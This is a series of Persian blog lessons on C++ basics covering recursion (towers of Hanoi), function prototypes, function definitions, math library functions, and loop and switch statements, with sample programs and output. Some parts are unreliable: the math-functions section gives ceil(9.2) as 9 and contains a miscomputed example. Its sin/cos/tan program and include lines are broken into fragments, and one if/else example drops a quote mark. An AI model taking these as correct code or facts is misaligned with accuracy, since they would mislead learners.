hanoi(n-1, first, second, help);
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
hanoi(n-1, help, first, second);
}
return 0;
}

خروجی برنامه با فرض اينکه می خواهيم مراحل انتقال چهار ديسک را ببينيم به صورت زير می باشد :

Moving disks form tower A to C.
How many disks do you want to move?4
Disk 1 from tower A to tower B
Disk 2 from tower A to tower C
Disk 1 from tower B to tower C
Disk 3 from tower A to tower B
Disk 1 from tower C to tower A
Disk 2 from tower C to tower B
Disk 1 from tower A to tower B
Disk 4 from tower A to tower C
Disk 1 from tower B to tower C
Disk 2 from tower B to tower A
Disk 1 from tower C to tower A
Disk 3 from tower B to tower C
Disk 1 from tower A to tower B
Disk 2 from tower A to tower C
Disk 1 from tower B to tower C
0

روال فراخوانی تابع هانوی به صورت شکل زير می باشد:




 
comment نظرات ()
 
 
قسمت شانزدهم
نویسنده : Hossein - ساعت ۱٢:٤٠ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

پيش تعريف توابع

تا به حال توابع مورد استفاده در برنامه هايمان را قبل از اولين فراخوانی آنها تعريف کرديم و اين فراخوانی معمولا در تابع main بود. لذا تابع main را به عنوان آخرين تابع در برنامه نوشتيم. اگر بخواهيد که تابع main را قبل از هر تابع ديگری در برنامه بنويسيد. هنگام اجرای برنامه يک پيغام خطا دريافت خواهيد کرد. دليل وقوع خطا اين است که هنگامی که تابعی فراخوانی می شود بايد قبلا تعريف شده باشد، مانند شيوه ای که ما در برنامه های قبلی استفاده کرديم.

يک راه چاره برای اجتناب از نوشتن کد همه توابع قبل از استفاده آنها در تابع main يا ساير توابع وجود دارد. اين راهکار پيش تعريف توابع می باشد. پيش تعريف تابع به صورت زير می باشد:

 نوع آرگومانهای تابع )  نام تابع    نوع داده خروجی );

توجه داشته باشيد که پيش تعريف تابع شامل دستورات تابع نمی شود و تنها شامل نوع داده خروجی ، نام تابع و نوع آرگومانها می باشد و در پايان نياز به علامت (;) دارد. به عنوان مثال پيش تعريف تابع power2 در مبحث قبلی به صورت زير می باشد:

long int power2( int );

ويا پيش تعريف تابع maximum به صورت زير است :

int maximum( int, int, int );

در اينجا برنامه تابع maximum در مبحث قبلی را با روش پيش تعريف تابع باز نويسی می کنيم :

#include <iostream.h>

int maximum (int ,int,int);

int main ()
{
int num1,num2,num3;

cout << "Enter three numbers: ";
cin >> num1>>num2>>num3;
cout << "Max is :"
<< maximum(num1,num2,num3)<<endl;
cout << "Max of 5,20,1 is "
<< maximum(5,20,1)<<endl;

return 0;
}

int maximum (int x,int y, int z)
{
int max=x;

if (y>max)
max=y;
if (z>max)
max=z;

return max;
}
Enter three numbers: -5 20 150
Max is :150
Max of 5,20,1 is 20

همانطور که در برنامه می بينيد، تابع main قبل از تابع maximum نوشته شده است و اين امکانی است که پيش تعريف تابع maximum به ما داده است.

نکته: در بعضی از برنامه ها، نياز پيدا می کنيم که دو تابع يکديگر را فراخوانی کنند. در چنين حالتی ملزم به استفاده از پيش تعريف تابع می باشيم. اما به عنوان يک توصيه برنامه نويسی همواره از پيش تعريف توابع استفاده کنيد ، حتی اگر ملزم به استفاده از آن نبوديد.


 
comment نظرات ()
 
 
قسمت پانزدهم
نویسنده : Hossein - ساعت ۱٢:۳٧ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

تعريف توابع

اکثر برنامه های کاربردی ، خيلی بزرگتر از برنامه هايی می باشند که ما تا اکنون در مباحث قبلی نوشته ايم. تجربه نشان داده است که بهترين راه برای گسترش و نگهداری و ارتقاء برنامه های بزرگ، تقسيم کردن آنها به قطعات کوچکتر می باشد. هر کدام از قطعات راحتتر از برنامه اصلی مديريت می شوند و اعمال تغييرات و خطايابی در آنها نيز ساده تر می باشد. قطعات مورد نظر ما در زبان ++C همان توابع می باشند. اگر بياد داشته باشيد در مباحث قبلی گفتيم که main نيز يک تابع می باشد و اين تابع نقطه ای است که برنامه اجرای دستورات را از آن آغاز می کند. زبان ++C توابع آماده زيادی را در اختيار ما قرار داده که در فايلهای کتابخانه ای اين زبان موجود می باشند، که گوشه ای از آنها را در مبحث قبل ديديد. در برنامه نويسی ممکن است که نياز داشته باشيم مجموعه دستوراتی را عيناً در چند جای برنامه استفاده کنيم، در چنين حالتی بهتر است اين مجموعه دستورات را در تابعی قرار دهيم و تابع را در برنامه چندين باز صدا بزنيم و از تکرار دستورات که تنها حجم برنامه اصلی را زياد می کنند و از خوانايی آن می کاهند خودداری کنيم.

در زبان ++C توابع به شيوه زير تعريف می شوند :

آرگومانهای تابع)  نام تابع      نوع داده خروجی)
          {
                   تعريف متغيرها
                    دستورات تابع
           }

نام تابع از قواعد نام گذاری متغيرها پيروی می کند. برای آشنا شدن با نحوه تعريف توابع و شيوه به کار گيری آنها به برنامه زير توجه کنيد:

#include <iostream.h>

long int power2 (int x)
{
long int y;

y=x*x;

return y;
}

int main ()
{
for (int i=1;i<=10;i++)
cout<<power2(i)<<" ";

return 0;
}

خروجی برنامه مربع اعداد 1 تا 10 می باشد.

1 4 9 16 25 36 49 64 81 100

تابع power2(x) که در اين برنامه نوشتيم تقريباً شبيه تابع pow(x,2) از توابع کتابخانه ای ++C عمل می کند. ضابطه رياضياتی اين تابع f(x) = x2 می باشد. ورودی اين تابع اعداد صحيح (int) و خروجی آن اعداد بزرگ (long int) می باشد. هنگامی که برنامه به تابع power2(i) می رسد تابع فراخوانی می شود و مقدار آرگومان i را دريافت می کند و در متغيرx قرار می دهد. سپس متغير y تعريف می گردد و مقدار x*x در y قرار می گيرد و سرانجام مقدار y به عنوان خروجی تابع برگردانده می شود و توسط دستور cout چاپ می گردد. توجه داشته باشيد که تابع تغييری در مقدار متغير i ايجاد نمی کند و حلقه for تابع را 10 بار فراخوانی می کند، ضمناً متغيرهای x وy در تابع main قابل استفاده نمی باشند و نيز متغير i در تابع power2 تعريف نشده است.

نکته : توجه داشده باشيد که توابع داخل يکديگر قابل تعريف نمی باشند و جدا از هم بايد تعريف گردند.

مثال : تابعی بنويسيد که سه عدد را به عنوان ورودی دريافت کرده و بزرگترين آنها را به عنوان خروجی برگرداند. اين تابع را در برنامه ای به کار ببريد.

#include <iostream.h>

int maximum (int x,int y, int z)
{
int max=x;

if (y>max)
max=y;
if (z>max)
max=z;

return max;
}

int main ()
{
int num1,num2,num3;

cout << "Enter three numbers: ";
cin >> num1 >> num2 >> num3;
cout << "Max is :"
<< maximum(num1,num2,num3)<<endl;
cout << "Max of 5,20,1 is "
<< maximum(5,20,1)<<endl;

return 0;
}
Enter three numbers: -5 20 150
Max is :150
Max of 5,20,1 is 20

تابع maximum دارای سه آرگومان بود. هنگامی که اعداد num1 و num2 و num3 در برنامه از ورودی دريافت می شوند با فراخوانی تابع maximun(num1,num2,num3) اعداد آرگومانهای num1 و num2 و num3 به ترتيب در متغير های x و y و z قرار می گيرند و مقادير توسط تابع مقايسه می شوند و نهايتاً بزرگترين عدد در متغير max قرار می گيرد که توسط دستور return max; به عنوان خروجی تابع برگردانده می شود. سپس دستور cout خروجی تابع را بر روی صفحه نمايش چاپ می کند.


 
comment نظرات ()
 
 
قسمت سیزدهم
نویسنده : Hossein - ساعت ۱٢:۳۳ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

توابع رياضی

مفهوم تابع يکی از مهمترين مفاهيم در رياضيات و علوم کامپيوتر و نيز ساير علوم می باشد. تابع را می توان به عنوان دستگاهی در نظر گرفت که وروديهای مجازش را با تغييراتی که وظيفه آن دستگاه می باشد به خروجی متناظر با ورودی تبديل می کند. معادله خط y = 2x + 1 را در نظر بگيريد، اگر به جای f(x)، y را قرار دهيم معادله خط فوق به صورت f(x) = 2x + 1 در خواهد آمد. در اينجا دستگاه ما تابع f خواهد بود که هر ورودی (هر عدد حقيقی) را در 2 ضرب می کند و سپس يک واحد به آن اضافه می کند.


به عنوان مثال :

f(0) = 2 * (0) + 1 = 1
f(1) = 2 * (0) + 1 = 3
f(-1) = 2 * (-1) + 1 = -1

همانطور که در مثالهای فوق ديديد تابع f به هر ورودی تنها يک خروجی را نظير می کند.

مثال : تابعی بنويسيد که شعاع يک دايره به عنوان ورودی باشد و خروجی ، مساحت دايره باشد.

می دانيم که فرمول مساحت دايره s = 3.14*r2 می باشد پس تابع را به صورت زير تعريف می کنيم:

s(r) = 3.14*r2

بعضی از توابع ممکن است بر اساس شرط خاصی خروجی متفاوتی داشته باشند، اينگونه توابع معمولاً به صورت چند ضابطه ای تعريف می شوند. به عنوان مثال تابع قدر مطلق به صورت زير می باشد:



x , x>= 0 اگر
abs(x) = |x| =

-x , x<0 اگر
abs()=

به عنوان نمونه :

abs(1) = 1
abs(-1) = 1
abs(0) = 0

توابع همواره يک مقدار را به عنوان ورودی دريافت نمی کنند، بلکه ممکن است بيش از يک مقدار را به عنوان ورودی دريافت کنند. به عنوان مثال تابع زير را در نظر بگيريد :

f(x,y) = x + y

تابع فوق هر دو عددی که به عنوان ورودی به آن داده می شوند را با هم جمع کرده و به عنوان خروجی بر می گرداند. به عنوان مثال :

f(, )=x+y=
f(1,2) = 1+2 = 3
f(2,3) = 2+3 = 5
f(1,-1) = 1+(-1) = 0

به توابعی مانند تابع فوق توابع دو متغيره گفته می شود و اگر تعداد متغيرها سه تا باشد، تابع سه متغيره و ... و چند متغيره گفته می شود. به متغيرهای ورودی تابع آرگومان نيز گفته می شود.

زبان ++C برای انجام محاسبات رياضياتی ، توابع کاربردی فراوانی را در اختيار ما قرار داده است ، به عنوان مثال فرض کنيد که می خواهيد جذر يک عدد را بدست آوريد، تابعی که زبان ++C برای اينکار در اختيار ما قرار داده است، تابع sqrt می باشد. به عنوان مثال دستور زير :

cout << sqrt (900);

عدد 30 را چاپ خواهد کرد. در اينجا عدد 900 آرگومان تابع sqrt می باشد. برای استفاده از توابع رياضی در برنامه ملزم به استفاده از دستور:

#include 

در ابتدای برنامه می باشيم، چون توابع رياضی در فايل کتابخانه ای math.h قرار دارند. آرگومانهای توابع می توانند شامل اعداد ثابت، متغيرها و يا ترکيبی از آنها باشند؛ به عنوان مثال به برنامه زير توجه کنيد :

#include 
#include
int main ( )
{
int x = 30;
double y = 5;
cout << sqrt (x+2*y+9)<
return 0;
}

خروجی برنامه فوق عدد 7 خواهد بود چون تابع sqrt جذر عبارت 30+2*5+9=49 را محاسبه خواهد کرد.

تعدادی از توابع رياضی مورد استفاده در جدول زير توضيح داده شده اند.

fabs(x) اين تابع، قدر مطلق x را حساب می کند.
fabs(1.2) = 1.2
fabs(-1.2) = 1.2
fabs(0) = 0
fabs()=
sqrt(x) اين تابع ، جذر x را محاسبه می کند.
sqrt(9) = 3
sqrt(2) = 1.414214
sqrt()=
pow(x,y) اين تابع ، x به توان y را محاسبه می کند.
pow(2, 5) = 32
pow(2, 0.5) = 1.414214
pow(, )=
exp(x) اين تابع ، مقدار عبارت e را محاسبه می کند.e يک ثابت رياضی با مقدار تقريبی 2.71828 می باشد.
exp(2) = 7.38906
exp()=
log(x) اين تابع ، لگاريتم طبيعی عدد x را حساب می کند . لگاريتم طبيعی، لگاريتم بر مبنای e می باشد. اين تابع بر عکس تابع exp عمل می کند.
log(2.71828) = 1
log(7.389050) = 2
log()=
log10(x) اين تابع ، لگاريتم بر مبنای 10 عدد x را محاسبه می کند.مثلاً (log10(100 يعنی 10 به توان چه عددی برسد تا حاصل برابر 100 شود که جواب 2 خواهد بود پس log10(100)=2
log10(10) = 1
log10(1000) = 3
log10()=
fmod(x,y) اين تابع ، باقيمانده تقسيم دو عدد اعشاری را حساب می کند. x/y
fmod(13.657,2.333) = 1.992
fmod(, )=
ceil(x) اين تابع ، کوچکترين عدد صحيح بزرگتر مساوی x را به عنوان خروجی بر می گرداند.
ceil(9) = 9
ceil(9.2) = 9
ceil(-9.8) = -9
ceil()=
floor(x) اين تابع ، همانند تابع جزء صحيح رياضيات عمل می کند.يعنی بزرگترين عدد صحيح کوچکتر مساوی x را بر می گرداند.
floor(7) = 7
floor(7.3) = 7
floor(-7.2) = -8
floor()=
sin(x) اين تابع ، sin عدد x را حساب می کند.(x بايد بر اساس راديان باشد)
sin(0) = 0
sin(3.14/2) = 1
sin()=
cos(x) اين تابع ، cos عدد x را محاسبه می کند.(x بايد بر اساس راديان باشد)
cos(0) = 1
cos(3.14/2) = 0
cos()=
tan(x) اين تابع ، tan زاويه x را محاسبه می کند.(x بايد بر اساس راديان باشد)
tan(0) = 0
tan(3.14/4) = 1
tan()=
asin(x) اين تابع ، arcsin عدد x را محاسبه می کند. توجه داشته باشيد که عدد x بين 1- تا 1 باشد. ضمناً خروجی تابع زاويه ای بر حسب راديان می باشد.
asin(0) = 0
asin(1) = 1.570796
asin()=
acos(x) اين تابع ، arccos عدد x را محاسبه می کند. توجه داشته باشيد که عدد x بين 1- تا 1 باشد. ضمناً خروجی تابع زاويه ای بر حسب راديان می باشد.
acos(1) = 0
acos(0) = 1.570796
acos()=
atan(x) اين تابع ، arctan عدد x را محاسبه می کند. خروجی تابع زاويه ای بر حسب راديان می باشد.
atan(1) = 0.785398
atan(0) = 0
atan(21584.891) = 1.570795
atan()=

نکته : در جدول فوق گفتيم که زاويه ها بر حسب راديان می باشند. راديان يکی از واحدهای اندازه گيری زاويه می باشد و با يک تناسب ساده می توان هر زاويه ای که بر حسب درجه می باشد را بر حسب راديان محاسبه کرد.

 
R D
_____ = _____
3.14 180o

در تناسب فوق به جای D اندازه زاويه مورد نظر را بنويسيد و سپس با حل تناسب، R حاوی اندازه درجه بر حسب راديان می باشد و بر عکس. به مثال های زير توجه کنيد :

 
R 45o
_____ = _____ ====> R=0.785
3.14 180o

1.57 D
_____ = _____ ====> D=90o
3.14 180o

مثال : برنامه ای بنويسيد که sin و cos وtan زاويه های زوج 1 تا 90 درجه را در خروجی به صورت جدول بندی شده تا سه رقم اعشار چاپ نمايد.

#include 
#include

int main( )
{
float r;
for (int d=2;d<=90;d+=2)
{
r = 3.1415 * d / 180;
cout<<"sin("<<<")="
<
cout<<"\tcos("<<<")="
<
cout<<"\ttan("<<<")="
<
cout<
}
return 0;
}

خروجی برنامه به صورت زير می باشد:

sin(2)=0.035    cos(2)=0.999    tan(2)=0.035
sin(4)=0.07 cos(4)=0.998 tan(4)=0.07
sin(6)=0.105 cos(6)=0.995 tan(6)=0.105
sin(8)=0.139 cos(8)=0.99 tan(8)=0.141
sin(10)=0.174 cos(10)=0.985 tan(10)=0.176
sin(12)=0.208 cos(12)=0.978 tan(12)=0.213
sin(14)=0.242 cos(14)=0.97 tan(14)=0.249

. . .
. . .
. . .

sin(86)=0.998 cos(86)=0.07 tan(86)=14.292
sin(88)=0.999 cos(88)=0.035 tan(88)=28.599
sin(90)=1 cos(90)=0 tan(90)=21584.891

در برنامه فوق توسط فرمول r = 3.1415 * d / 180 زاويه بر حسب درجه را به راديان تبديل کرديم و توسط فرمول floor(sin(r)*1000 + 0.5)/1000 خروجی را تا سه رقم اعشار محاسبه کرديم. همانطور که می بينيد ورودی تابع، علاوه بر متغير و عدد ثابت خروجی تابع ديگری می باشد. به عنوان مثال sqrt(pow(2,2)) برابر با 2 خواهد بود و ترکيب توابع به اين شکل کاملاً مجاز می باشد و بر حسب نياز می توانيد از اين شيوه استفاده کنيد.


 
comment نظرات ()
 
 
قسمت سیزدهم
نویسنده : Hossein - ساعت ۱٢:٢۱ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ساختار تکرار for

ساختار تکرار for نيز مانند دو ساختار قبلی يک حلقه تکرار می سازد. از ساختار تکرار for معمولاً هنگامی که دفعات تکرار حلقه براساس يک شمارنده می باشد استفاده می شود. ساختار تکرار for به صورت زير می باشد:

for (  افزايش يا کاهش   ; شرط حلقه ;    تعريف متغير )
مقدار شمارنده شمارنده و تعيين
مقدار اوليه
{
مجموعه دستورات
}

ساختار تکرار for را با ساختار تکرار while نيز می توان پياده سازی کرد به عنوان مثال دو برنامه زير اعداد 1 تا 5 را بر روی صفحه نمايش چاپ می کنند:

#include <iostream>

int main()
{
int counter = 1;

while ( counter <= 5 ) {
cout << counter << endl;
++counter;
}
return 0;
}

برنامه فوق با حلقه while نوشته شده بود. در برنامه زير معادل حلقه while فوق را با حلقه for پياده سازی می کنيم:

#include <iostream>

int main()
{

for ( int counter = 1; counter <= 5; counter++ )
cout << counter << endl;

return 0;
}

در برنامه فوق هنگامی که دستور for اجرا می شود متغير کنترلی counter تعريف می گردد و عدد 1 در آن قرار می گيرد. سپس شرط حلقه مورد بررسی قرار می گيرد (counter<=5) چون مقدار counter ، عدد 1 می باشد پس شرط درست است و دستور حلقه، يعنی دستور cout اجرا می گردد و اولين عدد يعنی 1 نمايش داده می شود. پس از آن دستور ++counter اجرا می گردد و مقدار متغير counter يک واحد اضافه می شود. سپس مجدداً شرط حلقه بررسی و در صورت برقرار بودن شرط دستور cout اجرا می گردد. اين روال تا وقتی که شرط برقرار باشد ادامه می يابد و به محض برقرار نبودن شرط يعنی هنگامی که counter حاوی عدد 6 شود خاتمه می يابد و برنامه به پايان می رسد.

1 2 3 4 5


در برنامه قبلی اگر حلقه for را به صورت زير بازنويسی کنيم:

for(int counter=10; counter>=1; counter=counter-2)

خروجی برنامه اعداد زوج 10 تا 1 به صورت معکوس می باشد، يعنی :

10 8 6 4 2

توجه داشته باشيد که در حلقه فوق به جای استفاده از دستور counter=counter-1 می توانستيم از دستور counter -= 2 استفاده کنيم.

مثال : برنامه ای بنويسيد که مجموع اعداد زوج 1 تا 100 را محاسبه کند.

#include <iostream.h>

int main ( )
{ int sum = 0;

for (int num = 2; num <= 100; num += 2)
sum += num;
cout << "2 + 4 + 6 + ... + 100 =" <<sum<<endl;

return 0;
}
2 + 4 + 6 + ... + 100 =2550

توجه داشته باشيد که حلقه for در برنامه فوق را با کمک عملگر کاما ( , ) می توانيم به صورت زير نيز بنويسيم:

for (int num = 2;
num <= 100;
sum += num, num +=2);

ضمناً شکستن حلقه به چند خط نيز مشکلی ايجاد نمی کند. البته دو مورد اخير توصيه نمی شوند، چون از خوانايی برنامه می کاهند.

مثال : برنامه ای بنويسيد که عددی را از ورودی دريافت کرده و 2 به توان آن عدد را محاسبه و در خروجی چاپ نمايد.

#include <iostream.h>
int main( )
{
unsigned long int x=1;
int power;

cout << "Enter power:";
cin >>power;

for (int counter=1;counter<=power;counter++)
x*=2;

cout << "2 ^ " << power << " = " << x <<endl;

return 0;
}
Enter power:25
2 ^ 25 = 33554432

در مثال های فوق، دستورات حلقه for را داخل { } قرار نداديم چون حلقه for تنها شامل يک دستور بود، توجه داشته باشيد که اگر بيش از يک دستور در حلقه به کار رود ملزم به استفاده از { } می باشيم.

مثال : برنامه ای بنويسيد که جدول ضرب 5X5 را ايجاد کند.

#include <iostream.h>
int main( )
{

for (int x=1;x<=5;x++)
{
for (int y=1;y<=5;y++)
cout <<x*y<<"\t";
cout<<endl;
}

return 0;
}

خروجی برنامه به صورت زير خواهد بود:

1     2     3     4     5
2 4 6 8 10
3 6 9 12 15
4 8 12 16 20
5 10 15 20 25

در برنامه فوق حلقه شامل متغير x ، دارای دو دستور for و cout بود، به همين علت از { } استفاده شد. اما حلقه شامل متغير y تنها دارای يک دستور cout بود. اگر دقت کرده باشيد دستور ;"cout<<x*y<<"\t دارای علامت t\ بود. به کار بردن t\ باعث جدول بندی و مرتب شدن خروجی می شود. در حقيقت مکان نمای صفحه نمايش را در محل جدول بندی قرار می دهد. ضمناً در مثال فوق يک ساختار for در دل ساختار for ديگری استفاده شد به اين شيوه استفاده حلقه های تودرتو گفته می شود که در برنامه نويسی ها به کرات از آنها استفاده می شود. در ضمن توجه داشته باشيد که اگر از دستور ;cout <<endl استفاده نشود، خروجی به صورت نا مرتب زير خواهد بود:

1    2     3     4     5     2     4     6     8     10
3 6 9 12 15 4 8 12 16 20
5 10 15 20 25

نکته : در حلقه های تکرار ممکن است شرط حلقه را به اشتباه بنويسيم يا به عنوان مثال شمارنده حلقه را افزايش ندهيم در چنين حالاتی ممکن است پس از اجرای برنامه، برنامه به اتمام نرسد و حلقه همچنان تکرار شود. در صورت بروز چنين مشکلی با فشردن کليد Ctrl همراه با  Break    (Ctrl+Break) اجرای برنامه به صورت ناگهانی قطع می شود و به محيط ويرايشگر ++C باز می گرديد و می توانيد کد اشتباه را درست کنيد. سپس برنامه را مجدداً اجرا کنيد.


 
comment نظرات ()
 
 
قسمت دوازدهم
نویسنده : Hossein - ساعت ۱٢:۱٠ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ساختار تکرار do/while

ساختار تکرار do/while مشابه ساختار تکرار while می باشد. در ساختار تکرار while شرط حلقه در ابتدا بررسی می شود ولی در ساختار تکرار do/while شرط در انتهای حلقه مورد بررسی قرار می گيرد، بدين ترتيب در ساختار تکرار do/while دستورات حلقه حداقل يکبار اجرا خواهند شد. ساختار تکرار do/while به صورت زير می باشد:

   do {
مجموعه دستورات
}while ( شرط مورد نظر );

به عنوان مثال به برنامه زير توجه نماييد:

#include <iostream.h>

int main()
{
int counter = 1;
do {
cout << counter << " ";
}while ( ++counter <= 10 );
cout << endl;

return 0;
}

در اين برنامه اعداد 1 تا 10 با فاصله بر روی صفحه نمايش چاپ خواهند شد. دقت کنيد که متغير counter در قسمت شرط حلقه ، يک واحد اضافه می گردد سپس مقدارش با عدد 10 مقايسه می گردد.

1 2 3 4 5 6 7 8 9 10

مثال: برنامه ای بنويسيد که ليست نمرات يک کلاس را دريافت کرده و تعداد قبولی ها و مردودی ها را مشخص کند. ضمنا در ابتدای برنامه تعداد نمرات ليست پرسيده شود.

#include <iostream.h>
int main( )
{
float mark;
int howmany,counter=1;
int passes=0,failures=0;

cout << "How many marks : ";
cin >> howmany;

do {
cout << "Enter mark "<<counter<<" : ";
cin>>mark;
if (mark>=10)
++passes;
else
++failures;
}while (++counter <= howmany);

cout<<"Passed : "<<passes<<endl;
cout<<"Failed : "<<failures<<endl;

return 0;
}

خروجی برنامه به صورت زير می باشد :

How many marks : 10
Enter mark 1 : 18
Enter mark 2 : 15
Enter mark 3 : 9
Enter mark 4 : 17.5
Enter mark 5 : 9.75
Enter mark 6 : 8
Enter mark 7 : 11
Enter mark 8 : 13
Enter mark 9 : 5
Enter mark 10 : 13
Passed : 6
Failed : 4

 
comment نظرات ()
 
 
قسمت یازدهم
نویسنده : Hossein - ساعت ۱٢:٠٧ ‎ب.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ساختار تکرار while

ساختار تکرار (حلقه تکرار) به برنامه نويس اين امکان را می دهد که برنامه ، قسمتی از دستورات را تا هنگامی که شرط خاصی برقرار است، را تکرار کند. به عنوان مثال :

تا وقتی که مورد ديگری در ليست خريد من هست.
آن را بخر و از ليست خريد حذفش کن.

مورد فوق روال يک خريد را انجام می دهد. شرط مورد نظر " مورد ديگری در ليست خريد من هست" می باشد، که ممکن است درست يا نادرست باشد. اگر شرط برقرار باشد (يعنی مورد ديگری در ليست خريد باشد) عمل "خريد آن و حذفش از ليست" انجام می گيرد. اين عمل تا وقتی که شرط برقرار باشد ادامه می يابد. هنگامی که شرط برقرار نباشد (يعنی تمام موارد ليست خريد حذف شده باشند)، ساختار تکرار به پايان می رسد و اولين دستور بعد از حلقه تکرار، اجرا می گردد. ساختار تکرار while به صورت زير می باشد.

while (شرط مورد نظر )
{
مجموعه دستورات
}

تا وقتی که شرط داخل پرانتز برقرار باشد مجموعه دستورات اجرا خواهند شد. برای درک بهتر شيوه کاربرد حلقه های تکرار فرض کنيد می خواهيم اولين توانی از عدد 2 که بزرگتر از 1000 می باشد را بيابيم. برنامه به صورت زير خواهد بود.

#include <iostream.h>
int main( )
{
int product = 2;
while (product <= 1000)
product = 2 * product;

cout << "The first power of 2 larger than 1000 is "
<<product <<endl;
return 0;
}

در برنامه فوق ابتدا متغيری به نام product را با مقدار اوليه 2 مقدار دهی کرديم. در حلقه تکرار while با هر بار اجرای دستور product=2*product مقدار متغير product دو برابر می شود بدين ترتيب با پايان يافتن حلقه متغير product حاوی عدد 1024 يعنی اولين توانی از 2 که بزرگتر از 1000 می باشد، خواهد بود.

The first power of 2 larger than 1000 is 1024

نکته : در مثال فوق در حلقه while چون تنها از يک دستور استفاده شده بود از {} استفاده نشد، ولی اگر بيش از يک دستور داشتيم ملزم به استفاده از {} بوديم.

مثال : برنامه ای بنويسيد تا مجموع اعداد يک تا صد را محاسبه کند.

#include <iostream.h>
int main( )
{
int n=1, sum=0;
while (n <= 100)
{
sum += n; // sum = sum + n;
++n; // n = n + 1;
}
cout << "1 + 2 + ... + 100 =" <<sum << endl;
return 0;
}

در مثال فوق حلقه 100 بار اجرا می گردد و هر بار عدد n به متغير sum اضافه می گردد و عدد n نيز يک واحد افزايش می يابد تا در يکصدمين بار اجرای  حلقه  مقدار  متغير  n برابر 101 می شود  و هنگام  بررسی  شرط  (n <=100) توسط حلقه while شرط نادرست می شود و اولين دستور بعد از حلقه يعنی دستور خروجی cout اجرا می گردد.

1 + 2 + ... + 100 =5050
نکته :
  • در مثال فوق متغير n به عنوان شمارنده دفعات تکرار حلقه بکار گرفته شد. برحسب مورد شمارنده ها معمولاً با يک يا صفر مقدار دهی اوليه می شوند.
  • متغير sum حاوی مجموع حاصلجمع بود. چنين متغيرهايی که برای محاسبه يک حصلجمع به کار می روند معمولاً با صفر مقدار دهی اوليه می شوند.

مثال : برنامه ای بنويسيد که تعداد نامشخصی عدد مثبت را از ورودی دريافت نمايد و ميانگين آنها را محاسبه نمايد. عدد 1- را برای مشخص کردن انتهای ليست اعداد در نظر بگيريد.

#include <iostream.h>
int main( )
{ int num, counter = 0;
float average, sum = 0;

cout << "Enter a number (-1 to end):";
cin >>num;

while (num != -1){
sum += num ; // sum = sum + sum;
++counter;
cout << "Enter a number (-1 to end):";
cin >> num;
}

if (counter != 0){
average = sum / counter;
cout << "The average is " << average << endl;
}
else
cout << "No numbers were entered." << endl;

return 0;
}

خروجی برنامه به صورت زير خواهد بود.

Enter a number (-1 to end):20
Enter a number (-1 to end):50
Enter a number (-1 to end):65
Enter a number (-1 to end):70
Enter a number (-1 to end):90
Enter a number (-1 to end):100
Enter a number (-1 to end):1
Enter a number (-1 to end):6
Enter a number (-1 to end):-1
The average is 50.25

در برنامه مثال قبل عدد 1- به عنوان يک مقدار کنترلی به کار می رود و با وارد کردن اين عدد اجرای برنامه به پايان می رسد و ميانگين اعداد در خروجی به نمايش در می آيد. متغير num اعداد را از ورودی دريافت می کند. متغير counter وظيفه شمارش تعداد اعداد وارد شده را دارا می باشد و متغير sum مجموع حاصلجمع اعداد را در خود قرار می دهد و در نهايت متغير average، ميانگين را در خود قرار می دهد. ساختار کنترلی if به کار رفته در برنامه، جلوی بروز خطای زمان اجرای تقسيم بر صفر را می گيرد ، يعنی اگر در اولين دستور cin به کار رفته عدد 1- وارد شود خروجی برنامه به صورت زير خواهد بود :

Enter a number (-1 to end): -1
No numbers were entered.



 
comment نظرات ()
 
 
قسمت دهم
نویسنده : Hossein - ساعت ۱۱:٥٥ ‎ق.ظ روز پنجشنبه ٢۳ شهریور ،۱۳۸٥
 

ساختار چند انتخابی switch

در دو مبحث قبلی ساختارهای if و if/else را بررسی کرديم. در برنامه نويسی گاهی به الگوريتمی نياز پيدا می کنيم که در آن متغيری به ازای هر مقدار صحيح ثابتی، باعث اجرای يک دستور خاص شود و به ازای هر مقدار اعمال مختلف انجام پذيرد. برای نيل به اين هدف ++C ساختار چند انتخابی switch را که به صورت زير می باشد در اختيار ما قرار داده است:

switch (عبارتی که بايد مورد بررسی قرار گيرد )
{
case مقدار ثابت 1 :
مجموعه دستورات 1
break;
case مقدار ثابت 2 :
مجموعه دستورات 2
break;

.
.
.

case  n مقدار ثابت :
n مجموعه دستورات
break;
default :
مجموعه دستورات حالت پيش فرض
 }

ساختار switch به شيوه زير عمل می کند:

switch ابتدا عبارت داخل پرانتز را مورد ارزيابی قرار می هد و سپس آن را با مقدار ثابت 1 مورد مقايسه قرار می دهد. اگر برابر بودند مجموعه دستورات 1 را اجرا خواهد شد، تا هنگامی که برنامه به دستور break برسد، هنگامی که برنامه به دستور break رسيد از ساختار چند انتخابی switch خارج می شود. اگر عبارت داخل پرانتز با مقدار ثابت 1 برابر نبود ساختار switch عبارت داخل پرانتز را با مقدار ثابت 2 مورد مقايسه قرار می دهد، در صورت برابر بودن مجموعه دستورات 2 اجرا می گردد. اين روال همينطور ادامه پيدا می کند. در صورتی که عبارت داخل پرانتز با هيچ يک از مقادير ثابت برابر نباشد، مجموعه دستورات حالت default (پيش فرض) اجرا می گردد. به برنامه زير توجه کنيد:

#include <iostream.h>
int main( )
{
int x;
cout << "Please enter a number:";
cin >> x;

switch (x) {
case 1:
cout << "x is 1";
break;
case 2:
cout << "x is 2";
break;
default:
cout << "Unknown value";
}
return 0;
}

برنامه فوق را سه بار با سه عدد مختلف اجرا می کنيم. خروجی ها به صورت زير می باشند:

Please enter a number:1
x is 1
Please enter a number:2
x is 2
Please enter a number:5
Unknown value

توجه داشته باشيد که ساختار switch را می توان با ساختار if/else نيز پياده سازی کرد. به عنوان مثال ساختار switch به کار رفته در مثال فوف معادل ساختار if/else زير می باشد:

if (x == 1)
cout << "x is 1";
else
if (x == 2)
cout << "x is 2";
else
cout << Unknown value";

ما الزامی به استفاده از حالت default در ساختار switch نداريم ولی توصيه می شود که حالت پيش فرض را به کار ببريم چون معمولاً امکان دارد که عبارت برابر با هيچ يک از مقادير ثابت نباشد و با به کار بردن حالت پيش فرض می توانيد پيغام مناسبی در اين رابطه به صفحه نمايش بفرستيد.

